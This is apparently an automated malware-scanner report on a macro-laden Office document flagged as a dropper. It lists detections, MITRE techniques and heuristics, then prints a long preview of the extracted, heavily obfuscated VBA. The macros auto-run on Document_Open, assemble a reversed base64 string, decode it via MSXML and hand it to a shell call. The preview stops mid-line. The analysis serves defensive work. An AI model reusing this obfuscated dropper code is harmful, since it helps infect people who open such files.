MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a Microsoft Office document containing VBA macros. Critical heuristics indicate potential shell calls and auto-execution of code via the Document_Open macro. ClamAV detection further confirms its malicious nature as a dropper. The VBA script is heavily obfuscated but its presence and the associated heuristics strongly suggest it's designed to download and execute a secondary payload.
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-6338477-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6338477-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
nOpcY7 = LTrim(Mid(nOpcY7, -2545 + 2550, -2545 + 2550)) Call VBA.Shell(zQ93e2Z, ElioVP) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() DaMHswpAW = "cNTIQjw" -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 21546 bytes |
SHA-256: 145e55b20c1696cad6b0f27f9aabbf9880e803752cefdfc627b6137f9143939c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Document_Open() DaMHswpAW = "cNTIQjw" If Len(DaMHswpAW) > 193 Then t64DX = "kHzjCqDg" MsgBox t64DX, 29, "zuvdAgjqY" End If lzZUMluO7 = "hy86Bl" If Len(lzZUMluO7) > 239 Then AgKHXVE = "U7iyonx5" MsgBox AgKHXVE, 25, "YkMLE3Tc" End If nDEoSY = "BH0Y7xK" nDEoSY = Trim(Mid(nDEoSY, 10010 / 715, 10010 / 715)) IaTtf = "0pjduVGJg0" jr9sofi = "jsVIy" jr9sofi = RTrim(Mid(jr9sofi, 26112 / 2176, 26112 / 2176)) PPzmfsWQo = "qYVkA3xus" PPzmfsWQo = LTrim(Mid(PPzmfsWQo, 26112 / 2176, 26112 / 2176)) AtSjRu = "UBDoZ0" AtSjRu = LTrim(Mid(AtSjRu, 8544 / 1068, 8544 / 1068)) EF2Tj = "EOjhfi" EF2Tj = RTrim(Mid(EF2Tj, 8544 / 1068, 8544 / 1068)) Dim YamI8qgs YamI8qgs = IaTtf YEWRI9zN5 = "Gc" MMEA7eRU4 = "mapsWuQL" MMEA7eRU4 = Trim(Mid(MMEA7eRU4, 8848 / 1106, 8848 / 1106)) sqyfd = "s7zevMy" sqyfd = Trim(Mid(sqyfd, 8848 / 1106, 8848 / 1106)) Dim N1daqsQ N1daqsQ = YEWRI9zN5 fi2YZ = "XZuB" fqo0xMEcD = "SPgQnb" omSzDCI8s = "a06DQ2Pye" omSzDCI8s = LTrim(Mid(omSzDCI8s, 3546 / 591, 3546 / 591)) Rf2FzRc3n = "jyEZLGFYe" Rf2FzRc3n = Trim(Mid(Rf2FzRc3n, 29624 / 29624, 29624 / 29624)) Dim pjUkR pjUkR = fi2YZ & fqo0xMEcD dlubhE = "sVGazJX" hXY3t5bSR = "Z39" dbjaY4IAi = "GA3EFH" dbjaY4IAi = RTrim(Mid(dbjaY4IAi, 44 - 31, 44 - 31)) Dim VlQj9 VlQj9 = dlubhE & hXY3t5bSR VgULz6l = "DI" VKbEO = "oRXYw" ZCbSP4y2 = "Ry" y4V2a = Chr(79) uCgNYAaR4 = "BhANjGpH" If Len(uCgNYAaR4) > 137 Then bmI54tWO = "J8A9chCRs" MsgBox bmI54tWO, 10, "xXq1HRur" End If wPMkv3IU5 = "zGt5sM" If Len(wPMkv3IU5) > 137 Then DJjM94H12 = "UFWHGDm9T" MsgBox DJjM94H12, 10, "fm1yqZ" End If Dim Nvb45PT7x Nvb45PT7x = VgULz6l & VKbEO & ZCbSP4y2 & y4V2a XkZ7gLN0 = "GZul2Vt" hBQwmvZd4 = "ACb" Lq87mPDNI = "ezKxNWSLe" Lq87mPDNI = Trim(Mid(Lq87mPDNI, 1530 - 1526, 1530 - 1526)) UgkLNe1Xc = "FCi2ROKa" If Len(UgkLNe1Xc) > 158 Then N1pbKxem = "H0s42DGiA" MsgBox N1pbKxem, 52, "icFmjr" End If Dim A5YRAX A5YRAX = XkZ7gLN0 & hBQwmvZd4 TWp8U = "ocmbpJHd" kQ8lHTo = "T9" YneJaQy = "vFgvNk" YneJaQy = Trim(Mid(YneJaQy, -200 + 216, -200 + 216)) e6vEd = "GIs14" e6vEd = RTrim(Mid(e6vEd, -200 + 216, -200 + 216)) DxvL8srTJ = "kIBHv" If Len(DxvL8srTJ) > 244 Then PPvC0 = "D2b6v" MsgBox PPvC0, 13, "yMYry15S" End If Dim et80z et80z = TWp8U & kQ8lHTo yiwS8y = "mcvZ" eF4eXrA = "2OnUGe" Yfd3y = "hDRcYgi" If Len(Yfd3y) > 235 Then cyz2eKE = "D04tAHp" MsgBox cyz2eKE, 12, "HwtNoqxz" End If Dim r3JkvcYp r3JkvcYp = yiwS8y & eF4eXrA ioXhF = "GNjevU3" qjGDvq = "cuw" WHpUK = "FhOGQ2" WHpUK = LTrim(Mid(WHpUK, 12728 - 12727, 12728 - 12727)) dEUQ3Hk = "DAqs3W" dEUQ3Hk = LTrim(Mid(dEUQ3Hk, -819 + 831, -819 + 831)) Dim WOoVZqw7 WOoVZqw7 = ioXhF & qjGDvq vUGsmc3j = "913eoN" ZvRSBwDc = "Gdh" yeThJVuN = "N" qYoUI = "sqgMepEN" qYoUI = Trim(Mid(qYoUI, 6135 / 409, 6135 / 409)) LHrNw = "sJZxm0CP" LHrNw = RTrim(Mid(LHrNw, 26964 / 2996, 26964 / 2996)) TVE89 = "yiTLt" TVE89 = RTrim(Mid(TVE89, 26964 / 2996, 26964 / 2996)) Dim xrOXV1T xrOXV1T = vUGsmc3j & ZvRSBwDc & yeThJVuN j4lwM0 = "WYi9Gbn" WekIBmjK = "1Ca" bQXmqeTK = "V0UV5PmB" bQXmqeTK = Trim(Mid(bQXmqeTK, -3192 + 3201, -3192 + 3201)) Dim u6VzUC u6VzUC = j4lwM0 & WekIBmjK wxa6Q = "Gd" XRb4VSla = "hBH" Zdnh6wX = "JgwSK" ZSi5DlG3 = "vHKcD" ZSi5DlG3 = LTrim(Mid(ZSi5DlG3, 10064 / 10064, 10064 / 10064)) meO5Ntj = "dR7l3qtn" meO5Ntj = Trim(Mid(meO5Ntj, 26010 / 1734, 26010 / 1734)) rJFq6Y = "Ep9M6jA1" rJFq6Y = RTrim(Mid(rJFq6Y, 26010 / 1734, 26010 / 1734)) Dim uuSqkFr uuSqkFr = wxa6Q & XRb4VSla & Zdnh6wX vNX1g = "iV2VuQXZ" LN1Jj = "O5" TMNTLq4zI = "ugpWmbyY" TMNTLq4zI = LTrim(Mid(TMNTLq4zI, 945 - 936, 945 - 936)) Olk0oOVM = "j3CpFNYx" If Len(Olk0oOVM) > 140 Then zndg1 = "QSO85N" MsgBox zndg1, 62, "KoKDr1fkz" End If Dim gZTMbL gZTMbL = vNX1g & LN1Jj a0ypnlNV = "0NWZqJ" RzKDtr = "2btc" rrPezEB8b = "g4Vr5w" If Len(rrPezEB8b) > 239 Then k0WwxGX = "qXwVxLZ9" MsgBox k0WwxGX, 32, "Hjg7h1KH" End If s3jJprwu = "OflzbMYy" s3jJprwu = LTrim(Mid(s3jJprwu, 22263 - 22262, 22263 - 22262)) LWEKVS = "wOGrT" LWEKVS = LTrim(Mid(LWEKVS, 22263 - 22262, 22263 - 22262)) Dim VwBMFJ7Zz VwBMFJ7Zz = a0ypnlNV & RzKDtr apgkL = "kgSZs" eo4rh3s = "lmRkF" hGA8ro1y = "KWDr0b4s" hGA8ro1y = Trim(Mid(hGA8ro1y, -2887 + 2898, -2887 + 2898)) aIzW4D0SB = "o4dQO" aIzW4D0SB = LTrim(Mid(aIzW4D0SB, -2887 + 2898, -2887 + 2898)) LHN08XGjC = "Lrul9" LHN08XGjC = LTrim(Mid(LHN08XGjC, 1128 - 1121, 1128 - 1121)) DP64imG = "VWP29ob" If Len(DP64imG) > 174 Then pEMC7bF45 = "ydXxbgWP" MsgBox pEMC7bF45, 58, "DIhiG" End If Dim xtXraZ xtXraZ = apgkL & eo4rh3s pKDcVuBS = "7gGdhBH" qzDMXks = "JgM" YZYo5 = "Kgc25" YZYo5 = Trim(Mid(YZYo5, -4686 + 4692, -4686 + 4692)) Dim A7BtMAiy A7BtMAiy = pKDcVuBS & qzDMXks vxm7t9rnU = "l5iNzUTN2w" Bk4aAE = "Pz6on4Nu5" Bk4aAE = Trim(Mid(Bk4aAE, -4844 + 4850, -4844 + 4850)) LL7tjAHJ6 = "yS3tYrMn" LL7tjAHJ6 = RTrim(Mid(LL7tjAHJ6, -4844 + 4850, -4844 + 4850)) E7HVBizEQ = "VlSpf" E7HVBizEQ = Trim(Mid(E7HVBizEQ, 30578 - 30577, 30578 - 30577)) Dim WIwZd WIwZd = vxm7t9rnU x9pXKF = "Wf7sWYlJn" fshcXMIn = "Y" oTYpnAPv = "xk7ZuH" If Len(oTYpnAPv) > 191 Then e50cZjev = "tEyFpxW" MsgBox e50cZjev, 54, "ZZ7WeR" End If cXZdfnrW4 = "XiKXIJ4Q" cXZdfnrW4 = LTrim(Mid(cXZdfnrW4, 440 / 40, 440 / 40)) Dim uKcCO uKcCO = x9pXKF & fshcXMIn jEvZWtCUf = "1JgsCIw1" lxaAztD = "WZ" qbBjNH = "YuJ5rw1TV" qbBjNH = LTrim(Mid(qbBjNH, -5403 + 5408, -5403 + 5408)) te3RE2B9L = "gj9chS" If Len(te3RE2B9L) > 135 Then yKhdXU = "nnVmzl36X" MsgBox yKhdXU, 48, "QWvrZV3" End If oiqSYB = "HW8XCkpKq" If Len(oiqSYB) > 135 Then FMZNL = "YC4lmx" MsgBox FMZNL, 48, "R1TblXM" End If Dim kX0M9C8 kX0M9C8 = jEvZWtCUf & lxaAztD wyzmAjRd = "Dc0RHanA" rH5USViv = "SP" V9e1rqYMg = "GYptXB" V9e1rqYMg = Trim(Mid(V9e1rqYMg, 18048 / 1128, 18048 / 1128)) Dim LqRhCVl LqRhCVl = wyzmAjRd & rH5USViv yZOBG = "0JXY0N1" IYudJIFhn = "Opg" zIgiwEh7v = "YNCS3" zIgiwEh7v = Trim(Mid(zIgiwEh7v, 2917 - 2907, 2917 - 2907)) qABF2 = "qHONA17F" qABF2 = LTrim(Mid(qABF2, 2917 - 2907, 2917 - 2907)) Dim EmawY EmawY = yZOBG & IYudJIFhn B9RpH = "yO05W" pEpYFw2qy = "Zpx2Q" rvhwZ = "PX7vmOKe" If Len(rvhwZ) > 164 Then SlSq3m895 = "QNvSRzWH" MsgBox SlSq3m895, 39, "oDAZ6m58" End If Dim u70fn u70fn = B9RpH & pEpYFw2qy VonlBA = "51GJog" PpCR0Al6 = "2YhV" oRjqu9ra = "QbGW2po" oRjqu9ra = Trim(Mid(oRjqu9ra, 24825 / 1655, 24825 / 1655)) dZ5aD = "gOMN1" dZ5aD = LTrim(Mid(dZ5aD, 2036 - 2028, 2036 - 2028)) Dim VWyh5 VWyh5 = VonlBA & PpCR0Al6 aGgPZY = "gMHbyVXe" gXfaZA = "tR" rkxBV = "RmybFRzM" rkxBV = LTrim(Mid(rkxBV, 153 - 149, 153 - 149)) HczT8 = "LmUsaz" If Len(HczT8) > 212 Then GUFHLYW = "yRiZC" MsgBox GUFHLYW, 20, "LJXrdLz4V" End If Dim t5imNFYET t5imNFYET = aGgPZY & gXfaZA vvezINOYM = "jJXY" xQ5Or = "lN3Lv" H3OeaU = Chr(111) jN42yqB = "KPJx6S" jN42yqB = LTrim(Mid(jN42yqB, 28091 / 4013, 28091 / 4013)) I0PtNY21X = "LAjGICeOJ" If Len(I0PtNY21X) > 173 Then AK85trFnm = "JXgNwt" MsgBox AK85trFnm, 58, "KyZ6Wm4A" End If mNPDUjZ5 = "mt7EiMB" If Len(mNPDUjZ5) > 173 Then kTKljW = "gqw1bEWC" MsgBox kTKljW, 58, "nqoAvC" End If Dim P3xTCP P3xTCP = vvezINOYM & xQ5Or & H3OeaU Ez3ingGFV = "gUGb5R3U3" Vzl5Z83 = "9" bCljBv = "hl5vrHx" If Len(bCljBv) > 165 Then fnDmJ = "ek9fe4GP3" MsgBox fnDmJ, 10, "np5glO" End If Dim IDuhWEg IDuhWEg = Ez3ingGFV & Vzl5Z83 YoX1mp = "2dksXeyR" oLjcBCavW = "3e" BGKS0 = "AIWDepnz" BGKS0 = Trim(Mid(BGKS0, 31932 / 5322, 31932 / 5322)) Acp9bwlFx = "dzrqT8HOR" Acp9bwlFx = Trim(Mid(Acp9bwlFx, 3769 / 3769, 3769 / 3769)) qANbMoeP = "U0eaCH4" qANbMoeP = Trim(Mid(qANbMoeP, 3769 / 3769, 3769 / 3769)) Dim Nq49e7f8 Nq49e7f8 = YoX1mp & oLjcBCavW wWUaQBz = "SblR3c5N" Bek74K = "FI" cNgXdJMV = "o8hfNJHK" If Len(cNgXdJMV) > 162 Then pg8H2 = "naoTwgP" MsgBox pg8H2, 62, "e7pNO9ba" End If Dim U92o6OElf U92o6OElf = wWUaQBz & Bek74K Sce7T = "pcCLngCd" xM2569 = "px" DQ0CXTH = "i9RHp7K" DQ0CXTH = LTrim(Mid(DQ0CXTH, 20090 / 2009, 20090 / 2009)) ZJVQeH7d0 = "KPRizH" If Len(ZJVQeH7d0) > 165 Then BUJvB = "bBoZhtA1j" MsgBox BUJvB, 7, "ysS3wJvx6" End If plvpObGj = "Cxn4yK3ZN" plvpObGj = RTrim(Mid(plvpObGj, -4827 + 4832, -4827 + 4832)) Dim DGTXk8 DGTXk8 = Sce7T & xM2569 cf69E = "GV" MaBFlMtpN = "uwm" QC2yI = "c1l" s3wJW = "Xb" CFBTNi = "cVniqAH" CFBTNi = RTrim(Mid(CFBTNi, 288 - 275, 288 - 275)) K3bZsr0 = "O2k9IHdcN" If Len(K3bZsr0) > 182 Then WS2mLv = "xaIBp" MsgBox WS2mLv, 25, "Zh4M1EVd6" End If j4nrw = "g1lgADc8" j4nrw = LTrim(Mid(j4nrw, -11360 + 11362, -11360 + 11362)) Dim ApPGuR5v ApPGuR5v = cf69E & MaBFlMtpN & QC2yI & s3wJW KkEcP = "CIulGIsJX" wHba9K7k = Chr(100) vdbIa = "WYREc" If Len(vdbIa) > 161 Then ti9YZ = "nH0dquy" MsgBox ti9YZ, 44, "Yl9KzkLm" End If KqrdF = "xjIKi" KqrdF = RTrim(Mid(KqrdF, 704 / 64, 704 / 64)) Dim XFv3QOdHG XFv3QOdHG = KkEcP & wHba9K7k KIFu96U = "GcT5y" W2LKqBY = "J6pkU" Bq6XTKnh = "IrcST" Bq6XTKnh = Trim(Mid(Bq6XTKnh, 315 / 21, 315 / 21)) Dim fhzEr2IAe fhzEr2IAe = KIFu96U & W2LKqBY vcBdaMz = "2bs52dvRk" ugvdDF = Chr(76) wUw3D = "b4Hx3VFlC" wUw3D = RTrim(Mid(wUw3D, -27946 + 27947, -27946 + 27947)) LhLqgZ = "SFypHX" LhLqgZ = Trim(Mid(LhLqgZ, -27946 + 27947, -27946 + 27947)) Dim XYbWDyMs XYbWDyMs = vcBdaMz & ugvdDF vLXkN39 = "pMH" pZI4eGf = "byVXetR" FnfEuU5pX = "UtJkbnv" If Len(FnfEuU5pX) > 191 Then twk2j6 = "t3ShptmQ" MsgBox twk2j6, 63, "vltfz" End If edrfLgkI6 = "wrGHb" edrfLgkI6 = Trim(Mid(edrfLgkI6, 359 - 351, 359 - 351)) Dim DkBtGC DkBtGC = vLXkN39 & pZI4eGf A4Ef2hw = "05WZ" Xh0Aru = "px" dt9XR = "2Y" IJVdjZ = "iV" ERh9OcIo = "VJUet3s" If Len(ERh9OcIo) > 129 Then C6FNa = "w4sk0C" MsgBox C6FNa, 50, "g2cZlmCY" End If xra9I = "D3OL4" xra9I = Trim(Mid(xra9I, 31072 / 1942, 31072 / 1942)) XNTvnB7X6 = "grIR4j1fK" XNTvnB7X6 = LTrim(Mid(XNTvnB7X6, 4060 - 4052, 4060 - 4052)) Dim CPO1J2e6l CPO1J2e6l = A4Ef2hw & Xh0Aru & dt9XR & IJVdjZ VNzcKky = "CIu" kmxXGC = "VGZkl" CsKUqjXLT = "GS" uxdHKuZCJ = "HaGkC7" uxdHKuZCJ = LTrim(Mid(uxdHKuZCJ, -491 + 497, -491 + 497)) VefNP2i = "jr0d7" VefNP2i = RTrim(Mid(VefNP2i, -8367 + 8369, -8367 + 8369)) TaCGFV = "UPsf4W" TaCGFV = Trim(Mid(TaCGFV, -8367 + 8369, -8367 + 8369)) Dim QTODtvNu QTODtvNu = VNzcKky & kmxXGC & CsKUqjXLT fqj8I = "3clN2byBVL" PwYZB = "EMaiz" PwYZB = Trim(Mid(PwYZB, -4811 + 4815, -4811 + 4815)) YuaRQF = "j0KW45QV" YuaRQF = RTrim(Mid(YuaRQF, 22842 / 3807, 22842 / 3807)) Dim Krgp40Xxt Krgp40Xxt = fqj8I G5mQ3PY7 = "llGb" cRf8Vdr = "jJWZ3R" va7tkC = "TKmdGRb8" va7tkC = RTrim(Mid(va7tkC, -7665 + 7668, -7665 + 7668)) cap2KE9Fw = "tONeUx4Q" cap2KE9Fw = Trim(Mid(cap2KE9Fw, -7665 + 7668, -7665 + 7668)) Dim R7EGJ R7EGJ = G5mQ3PY7 & cRf8Vdr Zmd5V6wD8 = "ZVKDRSyAk" Zmd5V6wD8 = Trim(Mid(Zmd5V6wD8, 610 - 596, 610 - 596)) xglTMs8YI = "L64JVi83c" If Len(xglTMs8YI) > 230 Then V6upEIBH = "JCVAJY6zy" MsgBox V6upEIBH, 1, "poGiJOLb" End If sBpkuUn = "jKg4AjY" sBpkuUn = RTrim(Mid(sBpkuUn, 17340 / 2890, 17340 / 2890)) Ywa3e = xrOXV1T & uKcCO & A7BtMAiy & Krgp40Xxt & EmawY & uuSqkFr & et80z & ApPGuR5v & xtXraZ & XYbWDyMs & CPO1J2e6l & Nq49e7f8 & DkBtGC & XFv3QOdHG & VWyh5 & r3JkvcYp & WIwZd & kX0M9C8 & YamI8qgs & Nvb45PT7x & DGTXk8 & fhzEr2IAe & WOoVZqw7 & u6VzUC & P3xTCP & LqRhCVl & t5imNFYET & u70fn & gZTMbL & U92o6OElf & VwBMFJ7Zz & pjUkR & R7EGJ & QTODtvNu & IDuhWEg & A5YRAX & VlQj9 & N1daqsQ RhfdS1 = "Tf2sFa" RhfdS1 = Trim(Mid(RhfdS1, 4697 / 427, 4697 / 427)) oI1RVnK = "YaxTIDuh" If Len(oI1RVnK) > 194 Then pOUc9KF = "vLj4B8nc" MsgBox pOUc9KF, 4, "Vpr83Dbw" End If jQ6xpZ = "MnSQNC" jQ6xpZ = LTrim(Mid(jQ6xpZ, 854 - 839, 854 - 839)) Call StarWars(Ywa3e, "HF5rfM87k", 222 + 34) End Sub Attribute VB_Name = "Js5zeb0" Sub StarWars(AfdLXex3, wdNT23y6J, dRgWBOs) vHzv2 = "Y5XVy" vHzv2 = LTrim(Mid(vHzv2, 543 - 530, 543 - 530)) bd93P8 = "zyJaQVA" bd93P8 = RTrim(Mid(bd93P8, 543 - 530, 543 - 530)) iJIVeKW = "hhfpCkaO4" iJIVeKW = RTrim(Mid(iJIVeKW, 2462 - 2456, 2462 - 2456)) I4OrxYoJ = "xLFYq" I4OrxYoJ = Trim(Mid(I4OrxYoJ, 2462 - 2456, 2462 - 2456)) QB5Wj = "lGxpwyDK" QB5Wj = LTrim(Mid(QB5Wj, -1947 + 1954, -1947 + 1954)) iGrIv = "JyaQtuN4" iGrIv = Trim(Mid(iGrIv, 574 - 558, 574 - 558)) rlG6uQ = "xOyKc2" If Len(rlG6uQ) > 222 Then K5cdFLgf = "BKqckCHf" MsgBox K5cdFLgf, 7, "fjh47MGp" End If YFMcHPU = "Ku0qeIR" YFMcHPU = RTrim(Mid(YFMcHPU, -261 + 268, -261 + 268)) DxtmT5 = "abkSJFg" DxtmT5 = RTrim(Mid(DxtmT5, 19513 / 1501, 19513 / 1501)) rkaAlt1H = "frEUc" rkaAlt1H = LTrim(Mid(rkaAlt1H, 4678 - 4672, 4678 - 4672)) PoyiQGT = "iFCOJkm9h" PoyiQGT = RTrim(Mid(PoyiQGT, 12888 / 2148, 12888 / 2148)) I1c9L2hv = "VpijqIET" I1c9L2hv = Trim(Mid(I1c9L2hv, 1365 / 105, 1365 / 105)) aJwzX = "ccak98li" aJwzX = LTrim(Mid(aJwzX, 1365 / 105, 1365 / 105)) ELoOg = "vmPA0c" ELoOg = RTrim(Mid(ELoOg, 14676 / 3669, 14676 / 3669)) BfTl1 = "VzQEk" BfTl1 = LTrim(Mid(BfTl1, 14676 / 3669, 14676 / 3669)) yUZxq1Q5T = "JMqZG1CaY" yUZxq1Q5T = RTrim(Mid(yUZxq1Q5T, -940 + 956, -940 + 956)) dwQNsf = "tAqsPrDa" dwQNsf = Trim(Mid(dwQNsf, -940 + 956, -940 + 956)) mjFQlcgLE = "iSC8jiw" If Len(mjFQlcgLE) > 161 Then dHgJcND = "AeWUu5VJX" MsgBox dHgJcND, 35, "KoVt70pKH" End If mrSX69 = "Nd0eU" mrSX69 = RTrim(Mid(mrSX69, 1111 - 1096, 1111 - 1096)) wZorfalTN = "RBQgi0O" If Len(wZorfalTN) > 230 Then TfAzX = "TVs1wu" MsgBox TfAzX, 37, "gtAWi39hY" End If R52EH = StrReverse(AfdLXex3) R52EH = tF5GozhDI(R52EH) lqB3M = "HldmfYvK" lqB3M = LTrim(Mid(lqB3M, 27240 / 2270, 27240 / 2270)) N6wm53c = "c4hEnZMwo" If Len(N6wm53c) > 245 Then ph7Rr = "OLI4Sf" MsgBox ph7Rr, 15, "j1DOTlM" End If a8UoHK = "ur7UDa" a8UoHK = LTrim(Mid(a8UoHK, 843 - 835, 843 - 835)) UPlS3ax6y = "ZzYWd" UPlS3ax6y = LTrim(Mid(UPlS3ax6y, 843 - 835, 843 - 835)) mcfHE = "utmH4dK0S" mcfHE = RTrim(Mid(mcfHE, 4239 / 471, 4239 / 471)) X7QF5GY = "LyKt2Q" X7QF5GY = RTrim(Mid(X7QF5GY, 4239 / 471, 4239 / 471)) H0CtPS5 = "QX7Yu9dKI" H0CtPS5 = LTrim(Mid(H0CtPS5, 1946 - 1931, 1946 - 1931)) YhjF9N = "Kpy40wr" YhjF9N = RTrim(Mid(YhjF9N, 14931 / 1659, 14931 / 1659)) DO7X42w = "QQX1ju" If Len(DO7X42w) > 246 Then meX0Aq = "WNAT64" MsgBox meX0Aq, 7, "PnvIrA" End If M2npMyl = "tMXIL5" M2npMyl = Trim(Mid(M2npMyl, 531 - 519, 531 - 519)) yaBu8VdY = "HeQYC" yaBu8VdY = Trim(Mid(yaBu8VdY, -769 + 784, -769 + 784)) If wdNT23y6J <> 68489 - 2953 Then WpHwqtSEQ = "DRc6rI" WpHwqtSEQ = RTrim(Mid(WpHwqtSEQ, 3618 - 3611, 3618 - 3611)) SZ8De.fBpoCXUN R52EH, (199 + 57) - (199 + 57) aBQfj = "PUrgsQ" aBQfj = Trim(Mid(aBQfj, 2143 - 2129, 2143 - 2129)) Zk2x5nB = "Ue4v3lQgU" If Len(Zk2x5nB) > 224 Then KtCPXN0F = "PXrlsISk" MsgBox KtCPXN0F, 47, "zSIGhDp" End If End If End Sub Attribute VB_Name = "T3GrzBvp" Function tF5GozhDI(mHIJ2Op4) As String RVJrIh = "pTrhD" RVJrIh = LTrim(Mid(RVJrIh, 1760 - 1749, 1760 - 1749)) PIW56ZJ = "DTrYn" PIW56ZJ = RTrim(Mid(PIW56ZJ, 1760 - 1749, 1760 - 1749)) G5rMQ = "vKlsY" If Len(G5rMQ) > 246 Then EDUkSVg = "BAz5FEb" MsgBox EDUkSVg, 10, "DMb8v76" End If cFVYJtyzw = "mKEiok6" cFVYJtyzw = RTrim(Mid(cFVYJtyzw, -5347 + 5353, -5347 + 5353)) tFhsUkS = "Uy6ASO" tFhsUkS = RTrim(Mid(tFhsUkS, 20768 / 1298, 20768 / 1298)) x3kNga = "YPKt2" x3kNga = RTrim(Mid(x3kNga, -2532 + 2542, -2532 + 2542)) oHExRnjL = "c1J5IeP" If Len(oHExRnjL) > 245 Then Wyfzle = "VwgBj5X" MsgBox Wyfzle, 2, "WAnRTOL" End If OsJpcRb = "rnEDkMV" If Len(OsJpcRb) > 178 Then sGq6dK = "iC4nfNH" MsgBox sGq6dK, 47, "fWkdn" End If TjOpQA = "WLJIH" TjOpQA = LTrim(Mid(TjOpQA, -172 + 187, -172 + 187)) F3fXB8VlS = "EB4ZsWxe" F3fXB8VlS = Trim(Mid(F3fXB8VlS, -172 + 187, -172 + 187)) Set hF1UGfa = New MSXML2.DOMDocument KLlaBQxOI = "b6kKReF" KLlaBQxOI = LTrim(Mid(KLlaBQxOI, 28941 / 2631, 28941 / 2631)) hLtfdIS = "TdAu9rPB" hLtfdIS = Trim(Mid(hLtfdIS, 28941 / 2631, 28941 / 2631)) GHQVdBo = "GQkGd" GHQVdBo = LTrim(Mid(GHQVdBo, 4425 - 4419, 4425 - 4419)) I9qg2 = "CbLQ1z" If Len(I9qg2) > 213 Then GSGZvQRFm = "ln97QMe" MsgBox GSGZvQRFm, 11, "s8smQUJ" End If Set xOw46spXz = hF1UGfa.createElement(fbuQpZg) FxGMLuaYW = "zbtDsk" If Len(FxGMLuaYW) > 200 Then eExoyLvW = "yU3tI" MsgBox eExoyLvW, 25, "KbZOgN" End If Ou4gw = "mV5UZHKXd" Ou4gw = LTrim(Mid(Ou4gw, 7700 / 770, 7700 / 770)) xxu3dS = "l6QDF5bl3" If Len(xxu3dS) > 242 Then fJuOYHo = "DEukT" MsgBox fJuOYHo, 26, "V9mhG" End If TGu9L = "VOhuSyaC" TGu9L = RTrim(Mid(TGu9L, 7175 - 7171, 7175 - 7171)) B0y95w3x = "Ar5BC" B0y95w3x = RTrim(Mid(B0y95w3x, 7175 - 7171, 7175 - 7171)) N3c1aVv = "YV9fxzSt" N3c1aVv = LTrim(Mid(N3c1aVv, 936 - 924, 936 - 924)) dEbDvh = "tSQJI" dEbDvh = RTrim(Mid(dEbDvh, 936 - 924, 936 - 924)) AvrZGpsT = "Aecf2Ju0" AvrZGpsT = Trim(Mid(AvrZGpsT, 3857 / 551, 3857 / 551)) abroL = "QiIeU" abroL = LTrim(Mid(abroL, 3857 / 551, 3857 / 551)) With xOw46spXz AhTsUxa = "kxkdCePc" AhTsUxa = RTrim(Mid(AhTsUxa, 13140 / 876, 13140 / 876)) MceXArI0k = "l9omrTE" If Len(MceXArI0k) > 214 Then UZrBtgHC = "CSzFcT" MsgBox UZrBtgHC, 8, "mvNTeO" End If .dataType = _ "bin.base64" y8psEDI = "QC9y3J7" y8psEDI = RTrim(Mid(y8psEDI, -46 + 61, -46 + 61)) YvGWg = "jo2Yu9" YvGWg = LTrim(Mid(YvGWg, -46 + 61, -46 + 61)) pbhqr = "GoULgR0" pbhqr = LTrim(Mid(pbhqr, 1914 - 1899, 1914 - 1899)) VGK4OW = "cTuPB5fl" VGK4OW = Trim(Mid(VGK4OW, 1914 - 1899, 1914 - 1899)) .text = mHIJ2Op4 ydw0tbF = "EwDpl" ydw0tbF = LTrim(Mid(ydw0tbF, 5880 / 392, 5880 / 392)) WPRETh = "lo1TizPg" WPRETh = LTrim(Mid(WPRETh, 5880 / 392, 5880 / 392)) XZBglO = "M5J4ZmI9k" XZBglO = RTrim(Mid(XZBglO, -1833 + 1849, -1833 + 1849)) O53y0Pk6 = "wReSH9q" O53y0Pk6 = Trim(Mid(O53y0Pk6, -1833 + 1849, -1833 + 1849)) tF5GozhDI _ = xOw46spXz _ .nodeTypedValue mW6JI7PK = "iR38ztc1E" If Len(mW6JI7PK) > 231 Then XZze5 = "cpiSfr" MsgBox XZze5, 9, "iDxKGfaL" End If gr5sc = "qxikZz" If Len(gr5sc) > 187 Then unlr5q1h = "E0BLmlnE1" MsgBox unlr5q1h, 48, "I9SKOAxCb" End If g5RB0g3Tm = "m6Tiv2hg" g5RB0g3Tm = RTrim(Mid(g5RB0g3Tm, 6696 / 1116, 6696 / 1116)) End With QAoih7z = "ir6oWtRHD" If Len(QAoih7z) > 169 Then kLt6Td = "MlqUfGmwH" MsgBox kLt6Td, 9, "nL8aoEf" End If Q0LrC = "QYibrc0" Q0LrC = Trim(Mid(Q0LrC, 4941 / 4941, 4941 / 4941)) u1d3iE95A = "lyFXACflo" u1d3iE95A = Trim(Mid(u1d3iE95A, -1348 + 1350, -1348 + 1350)) GyKco = "sQMRDbojA" GyKco = RTrim(Mid(GyKco, -1348 + 1350, -1348 + 1350)) mpnH9e6Tu = "gpk6C" mpnH9e6Tu = LTrim(Mid(mpnH9e6Tu, -5897 + 5902, -5897 + 5902)) LsYwDbgKE = "k3aiFI" LsYwDbgKE = Trim(Mid(LsYwDbgKE, 1114 - 1107, 1114 - 1107)) YjcMnkz = "m4cRj5Iq" YjcMnkz = LTrim(Mid(YjcMnkz, -578 + 594, -578 + 594)) maBfp81Ht = "e7BawXs" If Len(maBfp81Ht) 